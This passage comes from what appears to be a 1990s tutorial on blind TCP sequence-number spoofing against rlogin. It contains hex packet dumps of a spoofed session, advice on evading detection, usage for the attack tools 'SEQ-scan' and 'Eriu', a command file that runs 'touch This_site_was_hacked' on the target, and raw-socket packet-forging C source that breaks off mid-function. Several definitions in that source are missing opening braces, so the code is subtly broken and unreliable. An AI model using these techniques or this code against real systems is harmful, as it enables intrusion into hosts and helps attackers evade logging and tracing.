  710. Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
  711.  45 E 00 . 00 . 43 C 31 1 01 . 00 . 00 . 45 E 06 . 3F ? 20   C0 . A8 . 42 B 42 B
  712.  C0 . A8 . 42 B 01 . 03 . FF . 02 . 01 . 22 " 3E > E6 . 91 . 19 . B2 . 4F O C1 .
  713.  50 P 18 . 7C | 00 . 51 Q D1 . 00 . 00 . 74 t 6F o 75 u 63 c 68 h 20   54 T 68 h
  714.  69 i 73 s 5F _ 73 s 69 i 74 t 65 e 5F _ 77 w 61 a 73 s 5F _ 68 h 61 a 63 c 6B k
  715.  65 e 64 d 0A .
  716.  
  717. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
  718.    SEQ (hex): 19B24FC5   ACK (hex): 223EE6AC
  719.    FLAGS: -A----   Window: 3C00
  720. Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
  721.  45 E 10 . 00 . 28 ( 29 ) BA . 40 @ 00 . 3F ? 06 . 0C . 72 r C0 . A8 . 42 B 01 .
  722.  C0 . A8 . 42 B 42 B 02 . 01 . 03 . FF . 19 . B2 . 4F O C5 . 22 " 3E > E6 . AC .
  723.  50 P 10 . 3C < 00 . F5 . DD . 00 . 00 .
  724.  
  725. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
  726.    SEQ (hex): 19B24FC4   ACK (hex): 223EE6AC
  727.    FLAGS: -AP---   Window: 3C00
  728. Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
  729.  45 E 10 . 00 . 29 ) 29 ) BB . 40 @ 00 . 3F ? 06 . 0C . 70 p C0 . A8 . 42 B 01 .
  730.  C0 . A8 . 42 B 42 B 02 . 01 . 03 . FF . 19 . B2 . 4F O C4 . 22 " 3E > E6 . AC .
  731.  50 P 18 . 3C < 00 . F5 . D5 . 00 . 00 . 00 .
  732.  
  733. 14) and finally we close the connection.
  734.  
  735. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
  736.    SEQ (hex): 223EE6AC      FLAGS: ---R--
  737. Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
  738.  45 E 00 . 00 . 28 ( 31 1 01 . 00 . 00 . 45 E 06 . 3F ? 3B ; C0 . A8 . 42 B 42 B
  739.  C0 . A8 . 42 B 01 . 03 . FF . 02 . 01 . 22 " 3E > E6 . AC . 19 . B2 . 4F O C1 .
  740.  50 P 04 . 7C | 00 . B5 . ED . 00 . 00 .
  741.  
  742. 3.3.5 Detection, and avoiding it
  743. --------------------------------
  744.  
  745. If you payed a little bit of attention during the reading of this text, you
  746. already have a good idea of how an attack can be detected.
  747.  
  748. 3.3.5.a Probes
  749.  
  750. No spoofing attack without the probes to predict SEQ numbers. These can
  751. easily be hidden of course.
  752. Suppose the server runs a 'httpd', well, you can do the SEQ number analyzing
  753. by accessing the web pages on that server, don't immediately reset after
  754. receiving the necessary data, but continue the connection with a legit http
  755. request (after the first SYN of the attack is send because otherwise you'll
  756. lose to much time, and you're guess will be too incorrect). The same off course
  757. can be done with FTP, or any other public service provided by the target host.
  758. Problem is however that the attack will follow immediately after the probe,
  759. so this too can be a lead for the detector/tracer.
  760. You should only do such a thing if you think the site has taken special logging
  761. precautions, because otherwise the probes won't show up in the logs.
  762.  
  763. 3.3.5.b RST packets
  764.  
  765. I already mentioned that guessing causes RST packets. Well you know how
  766. to avoid them (with some OS's), make sure you start your guess with to small 
  767. ACK's. (This is off course only true if you increment all ACK's with 1, if 
  768. you use a scheme increments the ACK with a step of 2 to increase scan space, 
  769. you have 50% risk of missing the correct ACK and thus generation RST's when 
  770. missing the ACK)
  771. If you are attacking a system that always sends RST's well, you'll have to
  772. live with it.
  773.  
  774. 3.3.5.c The ACK guesses
  775.  
  776. Well probably the hardest thing to hide are the multiple ACK guesses. Not 
  777. doing them lowers your chances. If you have the luck to be attacking a 64k
  778. ruler, well then you can do a very stealthy spoof.
  779. Advantage of hiding the probes even when you can't hide the guesses is however,
  780. that you yourself are extremely hard to trace this way, these ACK's have
  781. spoofed IP numbers anyway. 
  782. Again, out of the box setups, mostly don't log these things.
  783.  
  784. 3.3.5.d Retransmission
  785.  
  786. Generally one can assume that if data keeps coming on a connection to a
  787. server, but it looks like all data send back to the client is lost (no
  788. ACK's), the connection is fake i.e. a spoofing attack.
  789. So it could be wise to look for connections that particularly work well in
  790. one direction, and cause a lot of transmissions of the same packet in the
  791. other direction. 
  792. The attacker on the other hand can make this harder to detect by inserting
  793. his own ACK's, and thus causing retransmission of different packets.
  794. As attacker, you have a fairly good idea of how much data the server will
  795. send back, so you can have a few guesses. You can also retransmit some of
  796. your packages (be sure to take windowing in account to make it more
  797. realistic), so it might look like you don't receive the servers ACK's,
  798. what would make the connection look like a two-way-bad connection.
  799. Pretending to be a real user is a must here (1 char/packet, and simulating
  800. typos).
  801. But on the other hand, if a site goes through the trouble of running such
  802. detection tools, it will probably be well enough protected in the first
  803. place.
  804.  
  805.  
  806. 4. How to use the source code
  807. ----------------------------- 
  808.  
  809. 4.1 SEQ-scan
  810. ------------
  811.  
  812. It all kinda explains itself...
  813.  
  814. required <args> are:
  815.   -t <target>  host you want to scan
  816.   -p <server>  port you want to use for scanning
  817. [options] are:
  818.   -v           verbose
  819.   -a           do all tests
  820.  
  821. A little note on the output, well with some of the SunOS's I played, I got
  822. weak relations (time relation coeff. about 9). Sometimes (due to delays)
  823. these can slip trough and generate a higher coeff. and thus seem hard to
  824. attack, so always do you scans at least twice, on different times.
  825.  
  826. These hosts also needed a 10000 packet guess to give a 1/10 success rate...
  827. (This to put y'r feet back a on the ground.) 
  828.  
  829. 4.2 Eriu
  830. --------
  831.  
  832. usage: eriu <arguments>
  833. Arguments are:
  834.   -s host:port  Spoofed Host (required)
  835.                 This is the host you will pretend to be.
  836.   -t host:port  Target Host (required)
  837.                 This is the host you want to attack.
  838.   -f filename   Packet contence commandfile (required, except with '-P')
  839.                 This file describes the data that will be send, for exact
  840.                 format see below
  841.   -p port       Source Port used for scanning (default 23)
  842.                 On this port the Probes will be done, note she has to be
  843.                 accepting connections!
  844.   -c count      Number of guesses to make (default 64k:20 other:500)
  845.                 This is the number of ACK's that is send, they are
  846.                 centralized around the guess.
  847.                 e.g. '-c 501' will try the ACK's guess-250 to guess+250. 
  848.                 Mind you that numbers like 10000 are realistic for
  849.                 successful attacks.                 
  850.   -o offset     Extra offset to add to guessed ACK
  851.                 It takes the guessed ACK and adds this (negative or positive)
  852.                 number to it before firing any packets.
  853.   -d delay      Seconds of delay between parts of the attack (default:1)
  854.                 You could have to raise this number, it represents a delay
  855.                 between different parts of the program.
  856.   -P            Probe for guessing range
  857.                 This can be used to give you an idea of the '-c' parameter.
  858.   -F            Enter the ACK guess y'rself (test/practice purposes)
  859.                 For home amusement when practicing...
  860.  
  861. Now let me discuss the commandfile, it is quite easy.
  862.   1) It is an ASCII file (create it with a txt editor).
  863.   2) It is line oriented, everything on one line will be put in one
  864.      packet.
  865.   3) All printable chars that you type are put in the packet.
  866.   4) '\' followed by a THREE digit number is interpreted as the ASCII char 
  867.      with the decimal value of that number.
  868.      e.g. \000 will represents null character
  869.           \010 represents char 0x0A 
  870.   5) '\' followed by 'a' (or 'A') and a TWO digit number is interpreted as an
  871.      increment (decimal) of the ACK that is send (remember the ACK in the 
  872.      datastream). This can be useful for some situations.
  873.      e.g. \A10 will increment the ACK with 10 (decimal)
  874.  
  875. I give you here the example of the file used for the rlogin spoof showed in
  876. this document (no space at beginning of line in real file!):
  877.  
  878.      \000coder\000spoof\000vt100/9600\000
  879.      \255\255ss\000\025\000\080\000\000\000\000
  880.      spoof\010
  881.      touch This_site_was_hacked\010
  882.  
  883. Explanation is simple, the first line represents a packet that contains 4 
  884. null terminated strings: (an empty string),"coder","spoof" and "vt100/9600"
  885. The second line is the rlogin window negotiation. 
  886. The third line is the password "spoof" and <enter>.
  887. The forth line is the command "touch This_site_was_hacked" and an <enter>.
  888. Don't forget those <enters>, because you are in a shell, and it waits with
  889. execution till you hit that big key on the right.
  890.  
  891. Mind you, that the following would have had the same effect:
  892.  
  893.      \000
  894.      coder\000
  895.      spoof\000
  896.      vt100/9600\000 
  897.      \255\255ss\000\025\000\080\000\000\000\000
  898.      s
  899.      p
  900.      o
  901.      of\010
  902.      touch This_site_was_hacked\010
  903.  
  904. It would only take more packets.
  905.  
  906. NOTE: take care of white-spaces, make sure your lines aren't filled with
  907.       spaces at the end, as these are interpreted as real chars! 
  908.  
  909. 4.3 Improvements
  910. ----------------
  911.  
  912. For SEQ-scan, you figure them out yourself, you can always add fancy stuff,
  913. or do complicated math...
  914. For Eriu however I think some things are worth mentioning.
  915. Beside the usual improvements that could be done (more parameter settings
  916. etc.) some additional features could be useful to implement.
  917. Maybe a 'step' parameter for the ACK guessing (see 'countstep' in the
  918. source code).
  919. For example fragmenting of the IP packets can be useful. Also adding of
  920. stealth techniques would be nice, things like I mentioned above, like hiding
  921. your probes in real connections (to public services).
  922. Actually you could easily make a 'shell', by making the commands
  923. real-time-typable... enjoy....
  924.  
  925.  
  926. Appendix: Short note about rlogin
  927. ---------------------------------
  928.  
  929. I suppose you know what rlogin is, but how did I get to that 'eriu' 
  930. commandfile?
  931. All info is found in RFC 1282, I have included 2 extracts here, these are the
  932. two most important ones for us.
  933. (If you want to know more about the subject, I suggest you read the RFC) 
  934.  
  935. (concerning  \000coder\000spoof\000vt100/9600\000")
  936. Extract 1 from RFC 1282:
  937.    Upon connection establishment, the client sends four null-terminated
  938.    strings to the server.  The first is an empty string (i.e., it
  939.    consists solely of a single zero byte), followed by three non-null
  940.    strings: the client user name, the server user name, and the terminal
  941.    type and speed.  More explicitly:
  942.  
  943.         <null>
  944.         client-user-name<null>
  945.         server-user-name<null>
  946.         terminal-type/speed<null>
  947.  
  948.    The server returns a zero byte to indicate that it has received these
  949.    strings and is now in data transfer mode. 
  950. End extract.
  951.  
  952. (concerning "\255\255ss\000\025\000\080\000\000\000\000")
  953. Extract 2 from RFC 1282:
  954.    The window change control sequence is 12 bytes in length, consisting
  955.    of a magic cookie (two consecutive bytes of hex FF), followed by two
  956.    bytes containing lower-case ASCII "s", then 8 bytes containing the
  957.    16-bit values for the number of character rows, the number of
  958.    characters per row, the number of pixels in the X direction, and the
  959.    number of pixels in the Y direction, in network byte order.  Thus:
  960.  
  961.         FF FF s s rr cc xp yp
  962.    
  963.    Other flags than "ss" may be used in future for other in-band control
  964.    messages.  None are currently defined.
  965. End extract.
  966.  
  967. If you want to attack other services, I suggest you get the RFC on that
  968. service (or any other technical source), and study it. 
  969.  
  970. Appendix: Source Code
  971. ---------------------
  972.  
  973. --[spoofit_v3.h]------------------------------------------------------------
  974. /**************************************************************************/
  975. /* Spoofit.h - Include file for easy creating of spoofed TCP packets      */
  976. /*             Requires LINUX 1.3.x (or later) Kernel                     */
  977. /*             (illustration for 'A short overview of IP spoofing')       */
  978. /*             V.3 - Copyright 1997 - Brecht Claerhout                    */
  979. /*                                                                        */
  980. /*  Purpose - Providing skilled people with a easy to use spoofing source */
  981. /*            I used it to be able to write my tools fast and short.      */
  982. /*            Mind you this is only illustrative and can be easily        */
  983. /*            optimised.                                                  */ 
  984. /*                                                                        */
  985. /*  Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                   */
  986. /*           Serious advice, comments, statements, greets, always welcome */
  987. /*           flames, moronic 3l33t >/dev/null                             */
  988. /*                                                                        */
  989. /*  Disclaimer - This file is for educational purposes only. I am in      */
  990. /*               NO way responsible for what you do with this file,       */
  991. /*               or any damage you or this file causes.                   */
  992. /*                                                                        */
  993. /*  For whom - People with a little knowledge of TCP/IP, C source code    */
  994. /*             and general UNIX. Otherwise, please keep your hands of,    */
  995. /*             and catch up on those things first.                        */
  996. /*                                                                        */
  997. /*  Limited to - Linux 1.3.X or higher.                                   */
  998. /*               If you know a little about your OS, shouldn't be to hard */
  999. /*               to port.                                                 */
  1000. /*                                                                        */ 
  1001. /* Important note - You might have noticed I use non standard packet      */
  1002. /*                  header struct's. How come?? Because I started like    */
  1003. /*                  that on Sniffit because I wanted to do the            */
  1004. /*                  bittransforms myself.                                 */
  1005. /*                  Well I got so damned used to them, I keep using them, */
  1006. /*                  they are not very different, and not hard to use, so  */
  1007. /*                  you'll easily use my struct's without any problem,    */
  1008. /*                  this code and the examples show how to use them.      */ 
  1009. /*                  my apologies for this inconvenience.                  */
  1010. /*                                                                        */
  1011. /* None of this code can be used in commercial software. You are free to  */
  1012. /* use it in any other non-commercial software (modified or not) as long  */
  1013. /* as you give me the credits for it. You can spread this include file,   */
  1014. /* but keep it unmodified.                                                */
  1015. /*                                                                        */
  1016. /**************************************************************************/
  1017. /*                                                                        */
  1018. /* Easiest way to understand this library is to look at the use of it, in */
  1019. /* the example progs.                                                     */
  1020. /*                                                                        */
  1021. /**** Sending packets *****************************************************/
  1022. /*                                                                        */ 
  1023. /* int open_sending (void)                                                */ 
  1024. /*   Returns a filedescriptor to the sending socket.                      */
  1025. /*   close it with close (int filedesc)                                   */
  1026. /*                                                                        */ 
  1027. /* void transmit_TCP (int sp_fd, char *sp_data,                           */
  1028. /*                  int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,  */
  1029. /*                    char *sp_source, unsigned short sp_source_port,     */ 
  1030. /*                    char *sp_dest,unsigned short sp_dest_port,          */ 
  1031. /*                    unsigned long sp_seq, unsigned long sp_ack,         */ 
  1032. /*                    unsigned short sp_flags)                            */ 
  1033. /*   fire data away in a TCP packet                                       */
  1034. /*    sp_fd         : raw socket filedesc.                                */ 
  1035. /*    sp_data       : IP options (you should do the padding)              */
  1036. /*                    TCP options (you should do the padding)             */
  1037. /*                    data to be transmitted                              */
  1038. /*                    (NULL is nothing)                                   */
  1039. /*                    note that all is optional, and IP en TCP options are*/
  1040. /*                    not often used.                                     */
  1041. /*                    All data is put after eachother in one buffer.      */
  1042. /*    sp_ipoptlen   : length of IP options (in bytes)                     */
  1043. /*    sp_tcpoptlen  : length of TCP options (in bytes)                    */
  1044. /*    sp_datalen    : amount of data to be transmitted (bytes)            */
  1045. /*    sp_source     : spoofed host that"sends packet"                     */
  1046. /*    sp_source_port: spoofed port that "sends packet"                    */
  1047. /*    sp_dest       : host that should receive packet                     */
  1048. /*    sp_dest_port  : port that should receive packet                     */
  1049. /*    sp_seq        : sequence number of packet                           */
  1050. /*    sp_ack        : ACK of packet                                       */
  1051. /*    sp_flags      : flags of packet (URG,ACK,PSH,RST,SYN,FIN)           */
  1052. /*                                                                        */
  1053. /* void transmit_UDP (int sp_fd, char *sp_data,                           */
  1054. /*                    int sp_ipoptlen, int sp_datalen,                    */
  1055. /*              char *sp_source, unsigned short sp_source_port,     */
  1056. /*                    char *sp_dest, unsigned short sp_dest_port)         */
  1057. /*   fire data away in an UDP packet                                      */
  1058. /*    sp_fd         : raw socket filedesc.                                */ 
  1059. /*    sp_data       : IP options                                          */
  1060. /*                    data to be transmitted                              */
  1061. /*                    (NULL if none)                                      */
  1062. /*    sp_ipoptlen   : length of IP options (in bytes)                     */
  1063. /*    sp_datalen    : amount of data to be transmitted                    */ 
  1064. /*    sp_source     : spoofed host that"sends packet"                     */
  1065. /*    sp_source_port: spoofed port that "sends packet"                    */
  1066. /*    sp_dest       : host that should receive packet                     */
  1067. /*    sp_dest_port  : port that should receive packet                     */
  1068. /*                                                                        */
  1069. /**** Receiving packets ***************************************************/
  1070. /*                                                                        */
  1071. /* int open_receiving (char *rc_device, char mode)                        */
  1072. /*   Returns fdesc to a receiving socket                                  */
  1073. /*        (if mode: IO_HANDLE don't call this twice, global var           */
  1074. /*         rc_fd_abc123 is  initialised)                                  */
  1075. /*     rc_device: the device to use e.g. "eth0", "ppp0"                   */
  1076. /*                be sure to change DEV_PREFIX accordingly!               */
  1077. /*                DEV_PREFIX is the length in bytes of the header that    */
  1078. /*                comes with a SOCKET_PACKET due to the network device    */
  1079. /*     mode: 0: normal mode, blocking, (read will wait till packet        */ 
  1080. /*           comes, mind you, we are in PROMISC mode)                     */
  1081. /*           IO_NONBLOCK: non-blocking mode (read will not wait till      */
  1082. /*           usefull for active polling)                                  */
  1083. /*           IO_HANDLE installs the signal handler that updates SEQ,ACK,..*/
  1084. /*           (IO_HANDLE is not recommended to use, as it should be        */
  1085. /*           modified according to own use, and it works bad on heavy     */
  1086. /*           traffic continuous monitoring. I needed it once, but left it */
  1087. /*           in to make you able to have a look at Signal handled IO,     */
  1088. /*           personally I would have removed it, but some thought it      */
  1089. /*           doesn't do any harm anyway, so why remove... )               */ 
  1090. /*           (I'm not giving any more info on IO_HANDLE as it is not      */
  1091. /*           needed for the example programs, and interested people can   */
  1092. /*           easilythey figure the code out theirselves.)                 */
  1093. /*           (Besides IO_HANDLE can only be called ONCE in a program,     */
  1094. /*           other modes multiple times)                                  */ 
  1095. /*                                                                        */
  1096. /* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,           */
  1097. /*                unsigned char *proto)                                  */
  1098. /*        This waits for a packet (mode default) and puts it in buffer or */
  1099. /*        returns whether there is a pack or not (IO_NONBLOCK).           */
  1100. /*        It returns the packet length if there is one available, else 0  */
  1101. /*                                                                        */
  1102. /* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,           */
  1103. /*                  char *wp_source, unsigned short wp_source_port,       */
  1104. /*                  char *wp_dest, unsigned short wp_dest_port,           */
  1105. /*                int wp_flags, int wait_time);                         */
  1106. /*   wp_fd: a receiving socket (default or IO_NONBLOCK)                   */
  1107. /*   ret_values: pointer to a sp_wait_packet struct, that contains SEQ,   */
  1108. /*               ACK, flags, datalen of that packet. For further packet   */
  1109. /*               handling see the examples.                               */
  1110. /*                  struct sp_wait_packet  {                              */
  1111. /*                       unsigned long seq,ack;                            */
  1112. /*                      unsigned short flags;                             */
  1113. /*                    unsigned short source_p, dest_p;                  */
  1114. /*                      int datalen;                                      */
  1115. /*                      };                                                */
  1116. /*   wp_source, wp_source_port : sender of packet                         */
  1117. /*                               (port=0, any port is okay)               */
  1118. /*   wp_dest, wp_dest_port     : receiver of packet                       */
  1119. /*                               (port=0, any port is okay)               */
  1120. /*   wp_flags: flags that should be present in packet.. (mind you there   */
  1121. /*             could be more present, so check on return)                 */
  1122. /*             note: if you don't care about flag, use 0                  */
  1123. /*   wait_time: if not zero, this function will return -1 if no correct   */
  1124. /*              packet has arrived within wait_time secs.                 */
  1125. /*              (only works on IO_NONBLOCK socket)                        */
  1126. /*                                                                        */
  1127. /* void set_filter (char *f_source, unsigned short f_source_port,         */
  1128. /*                  char *f_dest, unsigned short f_dest_port)             */
  1129. /*        (for use with IO_HANDLE)                                        */
  1130. /*        Start the program to watch all trafic from source/port to       */
  1131. /*        dest/port. This enables the updating of global data. Can        */ 
  1132. /*        be called multiple times.                                       */
  1133. /*                                                                        */
  1134. /* void close_receiving (void)                                            */
  1135. /*           When opened a IO_HANDLE mode receiving socket close it with  */
  1136. /*           this.                                                        */
  1137. /*                                                                        */
  1138. /**** Global DATA (IO_HANDLE mode) ****************************************/
  1139. /*                                                                        */
  1140. /* When accessing global data, copy the values to local vars and then use */
  1141. /* them. Reduce access time to a minimum.                                 */
  1142. /* Mind you use of this is very limited, if you are a novice on IO, just  */
  1143. /* ignore it, the other functions are good enough!). If not, rewrite the  */
  1144. /* handler for your own use...                                            */
  1145. /*                                                                        */
  1146. /* sig_atomic_t SP_DATA_BUSY                                              */
  1147. /*        Put this on NON-ZERO when accesing global data. Incoming        */
  1148. /*        packets will be ignored then, data can not be overwritten.      */
  1149. /*                                                                        */
  1150. /* unsigned long int CUR_SEQ, CUR_ACK;                                    */
  1151. /*        Last recorded SEQ and ACK number of the filtered "stream".      */
  1152. /*        Before accessing this data set SP_DATA_BUSY non-zero,           */
  1153. /*        afterward set it back to zero.                                  */
  1154. /*                                                                        */
  1155. /* unsigned long int CUR_COUNT;                                           */
  1156. /*        increased everytime other data is updated                       */
  1157. /*                                                                        */
  1158. /* unsigned int CUR_DATALEN;                                              */
  1159. /*      Length of date in last TCP packet                      */
  1160. /*                                                                        */
  1161. /**************************************************************************/
  1162.  
  1163. #include "sys/socket.h"       /* includes, what would we do without them  */
  1164. #include "netdb.h"
  1165. #include "stdlib.h"
  1166. #include "unistd.h"
  1167. #include "stdio.h"
  1168. #include "errno.h"
  1169. #include "netinet/in.h"
  1170. #include "netinet/ip.h"
  1171. #include "linux/if.h"
  1172. #include "sys/ioctl.h"
  1173. #include "sys/types.h"
  1174. #include "signal.h"
  1175. #include "fcntl.h"
  1176.  
  1177. #define    SPOOFIT_VERSION        3
  1178.  
  1179. #undef  DEBUG 
  1180. #define IP_VERSION     4                 /* keep y'r hands off...         */
  1181. #define MTU         1500 
  1182. #define IP_HEAD_BASE     20                /* using fixed lengths to send   */ 
  1183. #define TCP_HEAD_BASE     20                /* no options etc...             */ 
  1184. #define UDP_HEAD_BASE     8                 /* Always fixed                  */ 
  1185. #define ICMP_HEAD_BASE    8                    
  1186.  
  1187. #define IO_HANDLE    1
  1188. #define IO_NONBLOCK    2
  1189.  
  1190. int DEV_PREFIX = 9999;        
  1191. sig_atomic_t WAIT_PACKET_WAIT_TIME=0;
  1192.  
  1193. /**** IO_HANDLE ************************************************************/
  1194. int rc_fd_abc123;
  1195. sig_atomic_t RC_FILTSET=0;
  1196. char rc_filter_string[50];                       /* x.x.x.x.p-y.y.y.y.g  */
  1197.  
  1198. sig_atomic_t SP_DATA_BUSY=0;
  1199. unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0;
  1200. unsigned int CUR_DATALEN;
  1201. unsigned short CUR_FLAGS;
  1202. /***************************************************************************/
  1203.  
  1204. struct sp_wait_packet
  1205. {
  1206.     unsigned long seq,ack;
  1207.     unsigned short flags;
  1208.     unsigned short source_p, dest_p;
  1209.     int datalen;
  1210. };
  1211.             
  1212. /* Code from Sniffit - BTW my own program.... no copyright violation here */ 
  1213. #define URG 32       /* TCP flags */
  1214. #define ACK 16 
  1215. #define PSH 8 
  1216. #define RST 4
  1217. #define SYN 2 
  1218. #define FIN 1 
  1219.  
  1220. struct PACKET_info
  1221. {
  1222.     int len, datalen;    
  1223.     unsigned long int seq_nr, ACK_nr;
  1224.     u_char FLAGS;
  1225. };
  1226.  
  1227. struct IP_header                        /* The IPheader (without options) */
  1228.         unsigned char verlen, type;
  1229.         unsigned short length, ID, flag_offset;
  1230.         unsigned char TTL, protocol;
  1231.         unsigned short checksum;
  1232.         unsigned long int source, destination;
  1233. };
  1234.  
  1235. struct TCP_header                     /* The TCP header (without options) */
  1236. {
  1237.         unsigned short source, destination;
  1238.         unsigned long int seq_nr, ACK_nr;
  1239.         unsigned short offset_flag, window, checksum, urgent;
  1240. };
  1241.  
  1242. struct UDP_header                                      /* The UDP header */
  1243. {
  1244.         unsigned short source, destination;
  1245.         unsigned short length, checksum;
  1246. };
  1247.  
  1248. struct ICMP_header                                   /* The ICMP header */
  1249. {
  1250.         unsigned char type, code;
  1251.         unsigned short checksum;
  1252.     unsigned long xtra_field;
  1253. };
  1254.            
  1255. struct pseudo_IP_header          /* The pseudo IP header (checksum calc) */ 
  1256. {
  1257.         unsigned long int source, destination;
  1258.     char zero_byte, protocol;
  1259.     unsigned short TCP_UDP_len;
  1260. };
  1261.  
  1262. /* data structure for argument passing  */
  1263.  
  1264. struct sp_data_exchange    {
  1265.     int fd;                                /* Sh!t from transmit_TCP  */
  1266.     char *data; 
  1267.     int datalen;
  1268.     char *source; unsigned short source_port;
  1269.     char *dest;   unsigned short dest_port;
  1270.     char *xtra;   unsigned short xtra_port;        /* needed for ICMP */
  1271.         unsigned long seq, ack; 
  1272.         unsigned short flags;
  1273.  
  1274.     char *buffer;               /* work buffer */
  1275.  
  1276.         int IP_optlen;           /* IP options length in bytes  */
  1277.         int TCP_optlen;           /* TCP options length in bytes */
  1278.         unsigned char ICMP_type, ICMP_code;
  1279.     };
  1280.  
  1281. /**************** all functions  *******************************************/
  1282. void transmit_TCP (int fd, char *sp_data, 
  1283.                     int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
  1284.                    char *sp_source, unsigned short sp_source_port,
  1285.                char *sp_dest, unsigned short sp_dest_port,
  1286.                            unsigned long sp_seq, unsigned long sp_ack, 
  1287.                            unsigned short sp_flags);
  1288.  
  1289. void transmit_UDP (int sp_fd, char *sp_data, 
  1290.                int  ipoptlen, int sp_datalen, 
  1291.                    char *sp_source, unsigned short sp_source_port,
  1292.                char *sp_dest, unsigned short sp_dest_port);
  1293.  
  1294. int get_packet (int rc_fd, char *buffer, int *, unsigned char*);
  1295. int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int);
  1296.  
  1297. static unsigned long sp_getaddrbyname(char *);
  1298.  
  1299. int open_sending (void);
  1300. int open_receiving (char *, char);
  1301. void close_receiving (void);
  1302.  
  1303. void sp_send_packet (struct sp_data_exchange *, unsigned char);
  1304. void sp_fix_TCP_packet (struct sp_data_exchange *);
  1305. void sp_fix_UDP_packet (struct sp_data_exchange *);
  1306. void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char);
  1307. unsigned short in_cksum(unsigned short *, int );
  1308.  
  1309. void rc_sigio (int);
  1310. void set_filter (char *, unsigned short, char *, unsigned short);
  1311.  
  1312. /********************* let the games commence ****************************/
  1313.  
  1314. static unsigned long sp_getaddrbyname(char *sp_name)
  1315. {
  1316. struct hostent *sp_he;
  1317. int i;
  1318.  
  1319. if(isdigit(*sp_name))
  1320.   return inet_addr(sp_name);
  1321.  
  1322. for(i=0;i<100;i++)
  1323.      {
  1324.      if(!(sp_he = gethostbyname(sp_name)))
  1325.     {printf("WARNING: gethostbyname failure!\n");
  1326.     sleep(1);
  1327.     if(i>=3)       /* always a retry here in this kind of application */
  1328.        printf("Coudn't resolv hostname."), exit(1);
  1329.     }
  1330.      else break;
  1331.      }
  1332. return sp_he ? *(long*)*sp_he->h_addr_list : 0;
  1333. }
  1334.  
  1335. int open_sending (void)
  1336. {
  1337. struct protoent *sp_proto;   
  1338. int sp_fd;
  1339. int dummy=1;
  1340.  
  1341. /* they don't come rawer */
  1342. if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1) 
  1343.         perror("Couldn't open Socket."), exit(1);
  1344.  
  1345. #ifdef DEBUG
  1346.     printf("Raw socket ready\n");
  1347. #endif
  1348. return sp_fd;
  1349. }
  1350.  
  1351. void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto)
  1352. {
  1353. int sp_status;
  1354. struct sockaddr_in sp_server;
  1355. struct hostent *sp_help;
  1356. int HEAD_BASE;
  1357.  
  1358. /* Construction of destination */
  1359. bzero((char *)&sp_server, sizeof(struct sockaddr)); 
  1360. sp_server.sin_family = AF_INET;
  1361. sp_server.sin_addr.s_addr = inet_addr(sp->dest); 
  1362. if (sp_server.sin_addr.s_addr == (unsigned int)-1)
  1363.         {                      /* if target not in DOT/number notation */ 
  1364.         if (!(sp_help=gethostbyname(sp->dest))) 
  1365.           fprintf(stderr,"unknown host %s\n", sp->dest), exit(1);
  1366.         bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help->h_length);
  1367.         };
  1368.  
  1369. switch(proto)
  1370.        {
  1371.     case 1: HEAD_BASE = ICMP_HEAD_BASE;  break;                /* ICMP */
  1372.         /* Warning TCP options were not added - BUGFIX */
  1373.     case 6: HEAD_BASE = TCP_HEAD_BASE+sp->TCP_optlen;  break;  /* TCP  */
  1374.     case 17: HEAD_BASE = UDP_HEAD_BASE; break;                 /* UDP  */
  1375.     default: exit(1); break;
  1376.     };
  1377. sp_status = sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0, 
  1378.             (struct sockaddr *)&sp_server,sizeof(struct sockaddr)); 
  1379. if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen)
  1380.         {
  1381.         if (sp_status < 0)
  1382.           perror("Sendto"), exit(1);
  1383.         printf("hmm... Only transmitted %d of %d bytes.\n", sp_status, 
  1384.                         sp->datalen+HEAD_BASE);
  1385.         };
  1386. #ifdef DEBUG
  1387.     printf("Packet transmitted...\n");
  1388. #endif
  1389. }
  1390.  
  1391. void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto)
  1392. struct IP_header *sp_help_ip;
  1393. int HEAD_BASE;
  1394.  
  1395. switch(proto)
  1396.        {
  1397.     case 1: HEAD_BASE = ICMP_HEAD_BASE;  break;                /* ICMP */
  1398.     case 6: HEAD_BASE = TCP_HEAD_BASE;  break;                 /* TCP  */
  1399.     case 17: HEAD_BASE = UDP_HEAD_BASE; break;                 /* UDP  */
  1400.     default: exit(1); break;
  1401.     };
  1402.  
  1403. sp_help_ip = (struct IP_header *) (sp->buffer);
  1404. sp_help_ip->checksum=0; 
  1405. sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4);
  1406. sp_help_ip->type = 0;
  1407. sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen);
  1408. sp_help_ip->ID = htons(12545);                                  /* TEST */ 
  1409. sp_help_ip->flag_offset = 0;
  1410. sp_help_ip->TTL = 69;
  1411. sp_help_ip->protocol = proto;
  1412. sp_help_ip->source = sp_getaddrbyname(sp->source);
  1413. sp_help_ip->destination =  sp_getaddrbyname(sp->dest);
  1414. sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer), 
  1415.                         IP_HEAD_BASE+sp->IP_optlen);
